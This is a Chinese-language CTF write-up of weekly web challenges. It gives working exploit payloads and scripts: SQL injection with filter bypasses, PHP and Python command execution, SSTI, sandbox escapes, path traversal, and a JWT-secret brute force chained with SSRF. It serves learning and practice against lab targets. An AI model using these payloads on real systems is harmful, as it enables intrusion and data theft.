Week1

web

智械危机(decrypt)

robots.txt得到提示

 <?php

function execute_cmd($cmd) {
    system($cmd);
}

function decrypt_request($cmd, $key) {
    $decoded_key = base64_decode($key);
    $reversed_cmd = '';
    for ($i = strlen($cmd) - 1; $i >= 0; $i--) {
        $reversed_cmd .= $cmd[$i];
    }
    $hashed_reversed_cmd = md5($reversed_cmd);
    if ($hashed_reversed_cmd !== $decoded_key) {
        die("Invalid key");
    }
    $decrypted_cmd = base64_decode($cmd);
    return $decrypted_cmd;
}

if (isset($_POST['cmd']) && isset($_POST['key'])) {
    execute_cmd(decrypt_request($_POST['cmd'],$_POST['key']));
}
else {
    highlight_file(__FILE__);
}
?> 

exp:

<?php
$cmd = "tac /flag";
$encrypted_cmd = base64_encode($cmd);  // 传入
$reversed_encrypted_cmd = '';
for ($i = strlen($encrypted_cmd) - 1; $i >= 0; $i--) {
    $reversed_encrypted_cmd .= $encrypted_cmd[$i];
}
$hashed_reversed_encrypted_cmd = md5($reversed_encrypted_cmd);
$key = base64_encode($hashed_reversed_encrypted_cmd);  // 传入
echo $encrypted_cmd . "\n";
echo $key . "\n";

会赢吗(js)

查看源码

<!-- flag第一部分:ZmxhZ3tXQTB3,开始你的新学期吧!:/4cqu1siti0n -->
<script>
        async function revealFlag(className) {
            try {
                const response = await fetch(`/api/flag/${className}`, {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/json'
                    }
                });
                if (response.ok) {
                    const data = await response.json();
                    console.log(`恭喜你!你获得了第二部分的 flag: ${data.flag}\n……\n时光荏苒,你成长了很多,也发生了一些事情。去看看吧:/${data.nextLevel}`);
                } else {
                    console.error('请求失败,请检查输入或服务器响应。');
                }
            } catch (error) {
                console.error('请求过程中出现错误:', error);
            }
        }

        // 控制台提示
        console.log("你似乎对这门叫做4cqu1siti0n的课很好奇?那就来看看控制台吧!");
    </script>

{"flag":"IV95NF9yM2Fs","nextLevel":"s34l"}
<script>
       document.addEventListener('DOMContentLoaded', function () {
           const form = document.getElementById('seal_him');
           const stateElement = document.getElementById('state');
           const messageElement = document.getElementById('message');

           form.addEventListener('submit', async function (event) {
               event.preventDefault();

 
               if (stateElement.textContent.trim() !== '解封') {
                   messageElement.textContent = '如何是好?';
                   return;
               }

               try {
                   const response = await fetch('/api/flag/s34l', {
                       method: 'POST',
                       headers: {
                           'Content-Type': 'application/json'
                       },
                       body: JSON.stringify({ csrf_token: document.getElementById('csrf_token').value })
                   });

                   if (response.ok) {
                       const data = await response.json();
                       messageElement.textContent = `第三部分Flag: ${data.flag}, 你解救了五条悟!下一关: /${data.nextLevel || '无'}`;
                   } else {
                       messageElement.textContent = '请求失败,请重试。';
                   }
               } catch (error) {
                   messageElement.textContent = '请求过程中出现错误,请重试。';
               }
           });
       });
   </script>

{"flag":"MXlfR3I0c1B","nextLevel":"Ap3x"}

{"flag":"fSkpKcyF9","nextLevel":null}
flag{WA0w!_y4_r3al1y_Gr4sP_JJJs!}

谢谢皮蛋

源码里提示

$sql="SELECT uname,position FROM hexo WHERE id=$id LIMIT 0,1";

或许你可以了解下联合注入
# 检测回显
-1 union select 1,2#
#查表名 Fl4g,hexo
-1 union select group_concat(table_name),2 from information_schema.tables where table_schema=database()#
#查列名 id,des,value
-1 union select group_concat(column_name),2 from information_schema.columns where table_name='Fl4g'#
#getflag
-1 union select des,value from Fl4g#

PangBai 过家家(1)

在响应包中发现了Location

Location 首部指定的是需要将页面重新定向至的地址。一般在响应码为 3xx 的响应中才会有意义。

于是直接访问,得到了新的cookie解密发现为level2

尝试GET请求ask=miao,拿到下一关cookie

加上之前的GET请求后显示 用另一种方法(Method)打声招呼(say=hello)吧 ~ 那就POST请求

来到第四关

修改UA头为User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Papa/20100101 Firefox/46.0

你的话语似乎没有对 PangBai 起效,试着说「玛卡巴卡阿卡哇卡米卡玛卡呣」。

修改post内容即可say=玛卡巴卡阿卡哇卡米卡玛卡呣

这里便是 PangBai 的心境了呢!试着解开心结吧 ~
或许可以尝试用修改(PATCH)的方法提交一个补丁包(name=”file”; filename=”*.zip”)

后面的不会了 看wp复现的

PATCH 包的格式与 POST 无异,使用 Content-Type: multipart/form-data 发包即可,注意该 Header 的值后面需要加一个 boundary 表示界定符。例如Content-Type: multipart/form-data; boundary=abc,那么在 Body 中,以 --abc 表示一个查询字段的开始,当所有查询字段结束后,用 --abc-- 表示结束。

关于 multipart/form-data

这个 Content-Type 下的 Body 字段不需要进行转义,每一个查询内容以一个空行区分元信息和数据(就和 HTTP 报文区分标头和 Body 的那样),如果数据中包含 boundary 界定符的相关内容,可能引起误解,那么可以通过修改 boundary 以规避碰撞情况(因此浏览器发送 mulipart/form-data 的表单时,boundary 往往有很长的 -- 并且包含一些长的随机字符串。

本题只检查文件名后缀是否为 .zip. 因此如此发包即可:

HTTP

PATCH /?ask=miao HTTP/1.1
Host: 8.147.132.32:36002
User-Agent: Papa/1.0
Content-Type: multipart/form-data; boundary=abc
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZXZlbCI6NX0.xKi0JkzaQ0wwYyC3ebBpjuypRYvrYFICU5LSRLnWq_0
Content-Length: 168

--abc
Content-Disposition: form-data; name="file"; filename="1.zip"

123
--abc
Content-Disposition: form-data; name="say"

玛卡巴卡阿卡哇卡米卡玛卡呣
--abc--

也可以使用脚本


import requests
url =
"http://url/?ask=hello"
headers = {
  "Host": "",
 "Accept":
"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8",
  "Accept-Encoding": "gzip, deflate",
  "Accept-Language":
"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
  "Cookie":
"token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZXZlbCI6NX0.H9tHdIUKdnpuotdgpRw4F08nyTIW1kf9f_FTQNS-Dyg",
  "Origin": "http://localhost",
  "Priority": "u=0, i",
  "Referer": "http://localhost",
  "User-Agent": "Papa/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36"
}
file_path = '114514.zip'
data = {
  'say': '玛卡巴卡阿卡哇卡米卡玛卡呣'
}
files = {
  'file': (file_path, open(file_path, 'rb'), 'application/zip')
}
response =
requests.request("PATCH", url, headers=headers, data=data,
files=files)
files['file'][1].close()
print(response.text)

X-Forwarded-For: localhost即可

PangBai 以一种难以形容的表情望着你——激动的、怀念的,却带着些不安与惊恐,像落单后归家的雏鸟,又宛若雷暴中遇难的船员。 你似乎无法抵御这种感觉的萦绕,像是一瞬间被推入到无法言喻的深渊。尽管你尽力摆脱,但即便今后夜间偶见酣眠,这一瞬间塑成的梦魇也成为了美梦的常客。 「像■■■■验体■■不可能■■■■ JWT 这种■■ Oga0tB4RryevSMSQ ■■■密钥,除非■■■■■走,难道■■■■■■吗?!」 「……」

这里应该是jwt的密钥 进行加密 修改level为0即可

Week2

web

你能在一秒内打出八句英文吗

import re
import requests

url = "http://eci-2zecn3tukijkr5zsjqtj.cloudeci1.ichunqiu.com/start"
url_post = "http://eci-2zecn3tukijkr5zsjqtj.cloudeci1.ichunqiu.com/submit"
session = requests.session()
first_response = session.get(url)
payload = re.findall(r'<p id="text">(.*)</p>', first_response.text)[0]
print(payload)
data = {
    'user_input': f"{payload}"
}
response = session.post(url_post, data=data)
payload = re.findall(r'<p id="text">(.*)</p>', response.text)
print(response.text)

遗失的拉链

根据题目拉链(zip) 可猜测可能在备份文件 扫描可得www.zip

pizwww.php

<?php
error_reporting(0);
//for fun
if(isset($_GET['new'])&&isset($_POST['star'])){
    if(sha1($_GET['new'])===md5($_POST['star'])&&$_GET['new']!==$_POST['star']){
        //欸 为啥sha1和md5相等呢
        $cmd = $_POST['cmd'];
        if (preg_match("/cat|flag/i", $cmd)) {
            die("u can not do this ");
        }
        echo eval($cmd);
    }else{
        echo "Wrong";

    } 
}

Payload:

GET: ?new[]=1
POST: star[]=2&cmd=system('tac /f*');

谢谢皮蛋 plus

同样还是联合注入,意在考查空格和 and 的绕过,为了避免直接使用报错注入得到 flag,将报错注入 ban 了

preg_match_all("/ |extractvalue|updataxml|and/i",$id)

and 使用 && 替换,空格使用 /**/ 替换,其他就是一样的操作

# 查表名 Fl4g,hexo
-1"/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()#
# 查列名 id,des,value
-1"/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='Fl4g'#
# getFlag
-1"/**/union/**/select/**/group_concat(des),group_concat(value)/**/from/**/Fl4g#

PangBai 过家家(2)

任务 1:清点泄露的文件,找到后门

扫了一下是git泄露

githacker --url http://eci-2zecn3tukijks5ickqsb.cloudeci1.ichunqiu.com/ --output pangbai2
git log
git reset --hard xxxx

切换了之前分支查看 多了些文件

看了wp后 git stash list

Stash 的作用

有时会遇到这样的情况,我们正在 dev 分支开发新功能,做到一半时有人过来反馈一个 bug,让马上解决,但是又不方便和现在已经更改的内容混杂在一起,这时就可以使用 git stash 命令先把当前进度保存起来。随后便可以即时处理当前要处理的内容。使用 git stash pop 则可以将之前存储的内容重新恢复到工作区。

又或者,我们已经在一个分支进行了修改,但发现自己修改错了分支,可以通过 Stash 进行存储,然后到其它分支中释放。

一些常见的 Stash 命令如:

  • git stash

    保存当前工作进度,会把暂存区和工作区的改动保存起来。执行完这个命令后,在运行 git status 命令,就会发现当前是一个干净的工作区,没有任何改动。使用 git stash save '一些信息' 可以添加一些注释。

  • git stash pop [-index] [stash_id]

    从 Stash 中释放内容,默认为恢复最新的内容到工作区。

使用 git stash pop 恢复后门文件到工作区。

BacKd0or.v2d23AOPpDfEW5Ca.php

<?php

# Functions to handle HTML output

function print_msg($msg) {
    $content = file_get_contents('index.html');
    $content = preg_replace('/\s*<script.*<\/script>/s', '', $content);
    $content = preg_replace('/ event/', '', $content);
    $content = str_replace('点击此处载入存档', $msg, $content);
    echo $content;
}

function show_backdoor() {
    $content = file_get_contents('index.html');
    $content = str_replace('/assets/index.4f73d116116831ef.js', '/assets/backdoor.5b55c904b31db48d.js', $content);
    echo $content;
}

# Backdoor

if ($_POST['papa'] !== 'TfflxoU0ry7c') {
    show_backdoor();
} else if ($_GET['NewStar_CTF.2024'] !== 'Welcome' && preg_match('/^Welcome$/', $_GET['NewStar_CTF.2024'])) {
    print_msg('PangBai loves you!');
    call_user_func($_POST['func'], $_POST['args']);
} else {
    print_msg('PangBai hates you!');
}

对于这个表达式,可以使用换行符绕过。preg_match 默认为单行模式(此时 . 会匹配换行符),但在 PHP 中的该模式下,$ 除了匹配整个字符串的结尾,还能够匹配字符串最后一个换行符。

GET: ?NewStar[CTF.2024=Welcome%0a
POST: papa=TfflxoU0ry7c&func=system&args=set

复读机

ssti fenjing一把梭

python -m fenjing crack --url http://eci-2ze7rlqz56xnra7t93ja.cloudeci1.ichunqiu.com/ --method POST --inputs user_input
Payload:
{{cycler.next.__globals__.__builtins__.__import__('os').popen('tac /flag').read()}}

Week3

web

Include Me

 <?php
highlight_file(__FILE__);
function waf(){
    if(preg_match("/<|\?|php|>|echo|filter|flag|system|file|%|&|=|`|eval/i",$_GET['me'])){
        die("兄弟你别包");
    };
}
if(isset($_GET['phpinfo'])){
    phpinfo();
}

//兄弟你知道了吗?
if(!isset($_GET['iknow'])){
    header("Refresh: 5;url=https://cn.bing.com/search?q=php%E4%BC%AA%E5%8D%8F%E8%AE%AE");
}

waf();
include $_GET['me'];
echo "兄弟你好香";
?>

关键过滤了 php > ? = 导致无法使用php伪协议 可以使用data伪协议 但是转为base64 需要巧妙设计避开= 以及不需要后面的?>闭合

Payload:

GET: ?me=data://text/plain;base64,PD9waHAgc3lzdGVtKCJzb3J0IC9mbGFnIik7

臭皮踩踩背

你被豌豆关在一个监狱里,,,,,,
豌豆百密一疏,不小心遗漏了一些东西,,,
def ev4l(*args):
	print(secret)
inp = input("> ")
f = lambda: None
print(eval(inp, {"__builtins__": None, 'f': f, 'eval': ev4l}))
能不能逃出去给豌豆踩踩背就看你自己了,臭皮,,
> 

题目需要用 nc 连接,给出了部分源码:

def ev4l(*args):
    print(secret)
inp = input("> ")
f = lambda: None
print(eval(inp, {"__builtins__": None, 'f': f, 'eval': ev4l}))

完整源码:

print('你被豌豆关在一个监狱里……')
print('豌豆百密一疏,不小心遗漏了一些东西…')
print('''def ev4l(*args):\n\tprint(secret)\ninp = input("> ")\nf = lambda: None\nprint(eval(inp, {"__builtins__": None, 'f': f, 'eval': ev4l}))''')
print('能不能逃出去给豌豆踩踩背就看你自己了,臭皮…')

def ev4l(*args):
    print(secret)

secret = '你已经拿到了钥匙,但是打开错了门,好好想想,还有什么东西是你没有理解透的?'

inp = input("> ")

f = lambda: None

if "f.__globals__['__builtins__'].eval" in inp:
    f.__globals__['__builtins__'].eval = ev4l
else:
    f.__globals__['__builtins__'].eval = eval

try:
    print(eval(inp, {"__builtins__": None, 'f': f, 'eval': ev4l}))
except Exception as e:
    print(f"Error: {e}")

再此之前,我们来学习一下参考文档中的内建函数 __builtins__,还有 globals 到底是什么,再了解的 eval() 的原理,逃离这个上下文。

注意

下面的代码块中,除特别说明外,若代码块中存在 >>> 开头,则表示该代码块是在自己的 Python 环境中作为测试执行的(直接命令行运行 python),否则,则是 nc 后发送给题目的内容。

globals 和 builtins

globals 是我们当前的全局空间,如果你声明一个全局变量,它将会存在于当前的 globals 中,我们可以看一下 globals 中到底有哪些内容,直接新建一个 Python 会话:

>>> globals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>}
>>> x=1
>>> globals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'x': 1}

但是为什么我们能够直接调用 open() 函数呢?因为 。但是如果访问了 open 函数,如果 globals 中有,那就执行 globals 中的(可能是你自己定义的,因此存在于 globals 空间中),否则,执行 builtins 中的(类似 open eval __import__ 之类的函数都是在 builtins 中的)。

我们来查看一下 builtins 中到底有哪些内容:

>>> globals()['__builtins__'].__dict__.keys()
dict_keys(['__name__', '__doc__', '__package__', '__loader__', '__spec__', '__build_class__', '__import__', 'abs', 'all', 'any', 'ascii', 'bin', 'breakpoint', 'callable', 'chr', 'compile', 'delattr', 'dir', 'divmod', 'eval', 'exec', 'format', 'getattr', 'globals', 'hasattr', 'hash', 'hex', 'id', 'input', 'isinstance', 'issubclass', 'iter', 'aiter', 'len', 'locals', 'max', 'min', 'next', 'anext', 'oct', 'ord', 'pow', 'print', 'repr', 'round', 'setattr', 'sorted', 'sum', 'vars', 'None', 'Ellipsis', 'NotImplemented', 'False', 'True', 'bool', 'memoryview', 'bytearray', 'bytes', 'classmethod', 'complex', 'dict', 'enumerate', 'filter', 'float', 'frozenset', 'property', 'int', 'list', 'map', 'object', 'range', 'reversed', 'set', 'slice', 'staticmethod', 'str', 'super', 'tuple', 'type', 'zip', '__debug__', 'BaseException', 'Exception', 'TypeError', 'StopAsyncIteration', 'StopIteration', 'GeneratorExit', 'SystemExit', 'KeyboardInterrupt', 'ImportError', 'ModuleNotFoundError', 'OSError', 'EnvironmentError', 'IOError', 'WindowsError', 'EOFError', 'RuntimeError', 'RecursionError', 'NotImplementedError', 'NameError', 'UnboundLocalError', 'AttributeError', 'SyntaxError', 'IndentationError', 'TabError', 'LookupError', 'IndexError', 'KeyError', 'ValueError', 'UnicodeError', 'UnicodeEncodeError', 'UnicodeDecodeError', 'UnicodeTranslateError', 'AssertionError', 'ArithmeticError', 'FloatingPointError', 'OverflowError', 'ZeroDivisionError', 'SystemError', 'ReferenceError', 'MemoryError', 'BufferError', 'Warning', 'UserWarning', 'EncodingWarning', 'DeprecationWarning', 'PendingDeprecationWarning', 'SyntaxWarning', 'RuntimeWarning', 'FutureWarning', 'ImportWarning', 'UnicodeWarning', 'BytesWarning', 'ResourceWarning', 'ConnectionError', 'BlockingIOError', 'BrokenPipeError', 'ChildProcessError', 'ConnectionAbortedError', 'ConnectionRefusedError', 'ConnectionResetError', 'FileExistsError', 'FileNotFoundError', 'IsADirectoryError', 'NotADirectoryError', 'InterruptedError', 'PermissionError', 'ProcessLookupError', 'TimeoutError', 'open', 'quit', 'exit', 'copyright', 'credits', 'license', 'help', '_'])

可以看到 open eval __import__ 等函数都在 builtins 中。

eval

eval 函数的第一个参数就是一个字符串,即你要执行的 Python 代码,第二个参数就是一个字典,指定在接下来要执行的代码的上下文中,globals 是怎样的。

题目中,eval(inp, {"__builtins__": None, 'f': f, 'eval': ev4l}) 这段代码,__builtins__ 被设置为 None,而我们输入的代码就是在这个 builtinsNone 的上下文中执行的,我们从而失去了直接使用 builtins 中的函数的能力,像下面的代码就会报错(题目中直接输入 print(1)):

>>> eval('print(1)', {"__builtins__": None})
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "<string>", line 1, in <module>
TypeError: 'NoneType' object is not subscriptable

由于全局 global 中没有 print,从而从 builtins 中寻找,而 builtinsNone,触发错误。

但注意看,题目刚好给了一个匿名函数 f,看似无用,实际上参考文档已经给出提示——Python 中「一切皆对象」。故可以利用函数对象的 __globals__ 属性来逃逸。我们可以在 Python 终端测试一下:

>>> f = lambda: None
>>> f.__globals__
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'f': <function <lambda> at 0x0000026073850700>}

函数的 __globals__ 记录的是这个函数所在的 globals 空间,而这个 f 函数是在题目源码的环境中(而不是题目的 eval 的沙箱中),我们从而获取到了原始的 globals 环境,然后我们便可以从这个原始 globals 中获取到原始 builtins

f.__globals__['__builtins__']
深入探究 eval 的 builtin 逻辑

但这里还有一个问题,如果我们直接调用 f.__globals__['__builtins__'].eval,先不说题目会替换掉 eval 函数(实际上在点号前随便几个空格或者字符串拼接就能绕过,下不赘述),即使我们能够调用,也会报错:

>>> f = lambda: None
>>> inp='''f.__globals__['__builtins__'].eval('print(1)')'''
>>> eval(inp, {"__builtins__": None, 'f': f})
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "<string>", line 1, in <module>
  File "<string>", line 1, in <module>
TypeError: 'NoneType' object is not subscriptable

为什么呢?可以看 Python 解释器的 builtins 相关的代码: bltinmodule.c.

可见,会检查 globals 中是否已经包含了 builtins,如果没有,则会通过 PyEval_GetBuiltins() 获取默认的内置函数,并将其添加到 globals 中。

又因为官方文档中对 eval 函数的描述

因此,报错的原因便是,我们在 inp 中的 eval 并没有指定 globals,因此 Python 会将当前调用处的上下文的 globals 作为第二个参数,即使设定了第二个参数但没有指定 __builtins__,Python 也会自动注入当前上下文中的 builtins(也就是未指定则继承)。但当前上下文中的 builtinsNone,因此会报错。

绕过也很简单,显式指定即可:

>>> inp='''f.__globals__['__builtins__'].eval('print(1)', { "__builtins__": f.__globals__['__builtins__'] })'''
>>> eval(inp, {"__builtins__": None, 'f': f})

可以看下面的结构树:

# In source code
globals()               <- f.__globals__
  ├─ __builtins__       <- f.__globals__['__builtins__']
  │  ├─ open            <- f.__globals__['__builtins__'].open
  │  ├─ eval            <- f.__globals__['__builtins__'].eval
  │  └─ ...
  ├─ f                  <- f.__globals__['f']
  └─ ...
    # In `eval(inp, {"__builtins__": None, "f": f})`
    globals()
      ├─ __builtins__   <- None
      ├─ f
      └─ ...
      # Though `f` was from top globals, and you can reach top builtins by `f.__globals__['__builtins__']`
      # the context is still at this level when you run `eval()` AKA `f.__globals__['__builtins__'].eval()`
      # so Python will inject the current builtins, which is `None`, into the `eval` context
Payload

综上,Payload 其实有很多种,这里列举一些:

# 读文件
f.__globals__['__builtins__'].open('/flag').read()
# 代码执行
f.__globals__['__builtins__'] .eval('open("/flag").read()', { "__builtins__": f.__globals__['__builtins__'] })
# 命令执行
f.__globals__['__builtins__'].__import__('os').popen('cat /flag').read()  

臭皮的计算器

访问/calc得到源码

from flask import Flask, render_template, request
import uuid
import subprocess
import os
import tempfile

app = Flask(__name__)
app.secret_key = str(uuid.uuid4())

def waf(s):
    token = True
    for i in s:
        if i in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ":
            token = False
            break
    return token

@app.route("/")
def index():
    return render_template("index.html")

@app.route("/calc", methods=['POST', 'GET'])
def calc():

    if request.method == 'POST':
        num = request.form.get("num")
        script = f'''import os
print(eval("{num}"))
'''
        print(script)
        if waf(num):
            try:
                result_output = ''
                with tempfile.NamedTemporaryFile(mode='w+', suffix='.py', delete=False) as temp_script:
                    temp_script.write(script)
                    temp_script_path = temp_script.name

                result = subprocess.run(['python3', temp_script_path], capture_output=True, text=True)
                os.remove(temp_script_path)

                result_output = result.stdout if result.returncode == 0 else result.stderr
            except Exception as e:

                result_output = str(e)
            return render_template("calc.html", result=result_output)
        else:
            return render_template("calc.html", result="臭皮!你想干什么!!")
    return render_template("calc.html", result='试试呗')

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=30002)

ban了所有字母所有字母,使用全角英文和 chr() 字符拼接(或八进制)即可绕过

import sys


def half_to_full(text):
    full_text = ""
    for char in text:
        if 'A' <= char <= 'Z' or 'a' <= char <= 'z':
            full_text += chr(ord(char) + 0xFEE0)
        elif char == '_':
            full_text += chr(0xFF3F)
        else:
            full_text += char
    return full_text


def str_ord(text):
    payload = ""
    for char in text:
        payload += "chr({})+".format(ord(char))
    return payload.rstrip('+')


input_text = "__import__({0}).system({1})".format(str_ord("os"), str_ord("cat /flag"))  # 手动将另一个_改为半角
output_text = half_to_full(input_text)
print(output_text)
__import__(chr(111)+chr(115)).system(chr(99)+chr(97)+chr(116)+chr(32)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103))

这“照片”是你吗

查看网页源码:

<!-- 图标能够正常显示耶! -->
<!-- 但是我好像没有看到 Niginx 或者 Apache 之类的东西 -->
<!-- 说明服务器脚本能够处理静态文件捏 -->
<!-- 那源码是不是可以用某些办法拿到呢! -->

很明显的提示,能够获得静态文件,但是没有用常见的反代服务来区别静态文件和服务型路由。

服务端处理文件和路由的逻辑很有可能会有漏洞。

简单的测试就能知道是路径穿越 + 任意文件读。

查看 Response Header,能够认出来是 Flask app,常用的 Flask 主程序名为为 app.py.

路径穿越常用 ../,意为当前文件夹的上一层。

本题将静态文件存储在了 ./static 中,主程序在 static 外,那么使用 GET /../app.py 就可以拿到源码了。

TIP

若直接在浏览器中访问带 ../ 的路径,会先被浏览器按照网址路径规则解析一遍 ../,最终发出的并不是含这个字符串的路径,因此需要用发包软件发送过去。

本题的漏洞代码是 send_file("./static/" + file).

与 SQL 注入一样,直接拼接用户可控制输入的字符串是大忌!

很轻松的,我们获得了主程序的源代码。

from flask import Flask, make_response, render_template_string, request, redirect, send_file
import uuid
import jwt
import time

import os
import requests

from flag import get_random_number_string

base_key = str(uuid.uuid4()).split("-")
secret_key = get_random_number_string(6)
admin_pass = "".join([ _ for _ in base_key])

print(admin_pass)

app = Flask(__name__)
failure_count = 0

users = {
    'admin': admin_pass,
    'amiya': "114514"
}

def verify_token(token):
    try:
        global failure_count
        if failure_count >= 100:
            return make_response("You have tried too many times! Please restart the service!", 403)
        data = jwt.decode(token, secret_key, algorithms=["HS256"])
        if data.get('user') != 'admin':
            failure_count += 1
            return make_response("You are not admin!<br><img src='/3.png'>", 403)
    except:
        return make_response("Token is invalid!<br><img src='/3.png'>", 401)
    return True

@app.route('/')
def index():
    return redirect("/home")

@app.route('/login', methods=['POST'])
def login():
    username = request.form['username']
    password = request.form['password']
    global failure_count
    if failure_count >= 100:
        return make_response("You have tried too many times! Please restart the service!", 403)
    if users.get(username)==password:
        token = jwt.encode({'user': username, 'exp': int(time.time()) + 600}, secret_key)
        response = make_response('Login success!<br><a href="/home">Go to homepage</a>')
        response.set_cookie('token', token)
        return response
    else:
        failure_count += 1
    return make_response('Could not verify!<br><img src="/3.png">', 401)

@app.route('/logout')
def logout():
    response = make_response('Logout success!<br><a href="/home">Go to homepage</a>')
    response.set_cookie('token', '', expires=0)
    return response

@app.route('/home')
def home():
    logged_in = False
    try:
        token = request.cookies.get('token')
        data = jwt.decode(token, secret_key, algorithms=["HS256"])
        text = "Hello, %s!" % data.get('user')
        logged_in = True
    except:
        logged_in = False
        text = "You have not logged in!"
        data = {}
    return render_template_string(r'''
        <!DOCTYPE html>
        <html>
        <head>
            <title>Home Page</title>
        </head>
        <body>
            <!-- 图标能够正常显示耶! -->
            <!-- 但是我好像没有看到Nginx或者Apache之类的东西 -->
            <!-- 说明服务器脚本能够处理静态文件捏 -->
            <!-- 那源码是不是可以用某些办法拿到呢! -->
            {{ text }}<br>
            {% if logged_in %}
            <a href="/logout">登出</a>
            {% else %}
            <h2>登录</h2>
            <form action="/login" method="post">
                用户名: <input type="text" name="username"><br>
                密码: <input type="password" name="password"><br>
                <input type="submit" value="登录">
            </form>
            {% endif %}
            <br>
            {% if user=="admin" %}
            <a href="/admin">Go to admin panel</a>
            <img src="/2.png">
            {% else %}
            <img src="/1.png">
            {% endif %}
        </body>
        </html>
    ''', text=text, logged_in=logged_in, user=data.get('user'))

@app.route('/admin')
def admin():
    try:
        token = request.cookies.get('token')
        if verify_token(token) != True:
            return verify_token(token)
        resp_text = render_template_string(r'''
            <!DOCTYPE html>
            <html>
            <head>
                <title>Admin Panel</title>
            </head>
            <body>
                <h1>Admin Panel</h1>
                <p>GET Server Info from api:</p>
                <input type="input" value={{api_url}} id="api" readonly>
                <button onclick=execute()>Execute</button>
                <script>
                    function execute() {
                        fetch("{{url}}/execute?api_address="+document.getElementById("api").value,
                                      {credentials: "include"}
                                      ).then(res => res.text()).then(data => {
                            document.write(data);
                        });
                    }
                </script>
            </body>
            </html>
        ''', api_url=request.host_url+"/api", url=request.host_url)
        resp = make_response(resp_text)
        resp.headers['Access-Control-Allow-Credentials'] = 'true'
        return resp
    except:
        return make_response("Token is invalid!<br><img src='/3.png'>", 401)

@app.route('/execute')
def execute():
    token = request.cookies.get('token')
    if verify_token(token) != True:
        return verify_token(token)
    api_address = request.args.get("api_address")
    if not api_address:
        return make_response("No api address!", 400)
    response = requests.get(api_address, cookies={'token': token})
    return response.text

@app.route("/api")
def api():
    token = request.cookies.get('token')
    if verify_token(token) != True:
        return verify_token(token)
    resp = make_response(f"Server Info: {os.popen('uname -a').read()}")
    resp.headers['Access-Control-Allow-Credentials'] = 'true'
    return resp


@app.route("/<path:file>")
def static_file(file):
    print(file)
    restricted_keywords = ["proc", "env", "passwd", "shadow", "hosts", "sys", "log", "etc", 
                           "bin", "lib", "tmp", "var", "run", "dev", "home", "boot"]
    if any(keyword in file for keyword in restricted_keywords):
        return make_response("STOP!", 404)
    if not os.path.exists("./static/" + file):
        return make_response("Not found!", 404)
    return send_file("./static/" + file)


if __name__ == '__main__':
    app.run(host="0.0.0.0",port=5000)

审计源码,可以知道我们要用 admin 用户登录来进入面板。两种方法:获取密码或者伪造 token.

首先来看密码的长度:

base_key = str(uuid.uuid4()).split("-")
admin_pass = "".join([ _ for _ in base_key])

admin 的密码长度是 32 个字符,而整个程序有登录次数限制,因此无法爆破密码来登录。

而伪造 token 则需要 secret_key,查看生成逻辑:

secret_key = get_random_number_string(6)

6 位数字字符串,可以在数秒内完成爆破。

users = {
    'admin': admin_pass,
    'amiya': "114514"
}

通过本段代码我们可以知道一个有效账户 amiya,密码 114514,通过发包登录,我们可以获得一个有效的 token,据此能在本地认证签名 secret_key 的有效性(因为目标主机有认证次数限制)。

用明文存密码也是大忌!安全的做法是存储哈希值,并且加入一定的盐值(Salt)。

爆破出 secret_key,然后查看登录后的逻辑:

前端请求 /execute 指定 api_address,而 api_address 可控且没有校验,存在 SSRF 漏洞。

定位到源代码开头:

from flag import get_random_number_string

这是出题人故意漏的信息,将函数写在了 flag 模块并 import,提示查看 flag.py

@get_flag.route("/fl4g")
# 如何触发它呢?
def flag():
    return FLAG

TIP

Python 程序可以 import 同一目录下的 .py 文件而不必创建 __init__.py 等标记模块的文件。因此这里同级目录下有文件名为 flag.py 的程序,模块名为 flag.

我们的操作很明确了:利用 /execute 路由的 SSRF 漏洞让服务器自己访问 http://localhost:5001/fl4g,即访问 /execute?api_address=http://localhost:5001/fl4g.

EXP 如下:

import time
import requests
import jwt
import sys

if len(sys.argv) < 2:
    print(f"Usage: python {sys.argv[0]} <url>")
    sys.exit(1)

url = sys.argv[-1]


def get_number_string(number,length):
    return str(number).zfill(length)

print("[+] Exploit for newstar-zhezhaopianshinima")
print("[+] Getting a valid token from the server")

LENGTH = 6
req = requests.post(url+"/login", data={"username":"amiya","password":"114514"})
token = req.cookies.get("token")

print(f"[+] Got token: {token}")
print("[+] Brute forcing the secret key")
for i in range(1000000):
    secret_key = get_number_string(i,LENGTH)
    try:
        decoded = jwt.decode(token, secret_key, algorithms=["HS256"])
        break
    except jwt.exceptions.InvalidSignatureError:
        continue

print(f"[+] Found secret key: {secret_key}")
fake_token = jwt.encode({'user': 'admin', 'exp': int(time.time()) + 600}, secret_key)

print(f"[+] Generated a fake token: {fake_token}")

print("[+] Getting the flag")
req = requests.get(url+"/execute?api_address=http://localhost:5001/fl4g", cookies={"token":fake_token})

print(f"[+] Flag: {req.text}")

blindsql1

能够根据姓名查询成绩 加入单引号时,查询失败,说明存在注入

尝试 Alice' or 1=1#(注意 # 要 URL 编码成 %23)时,提示空格被禁用了

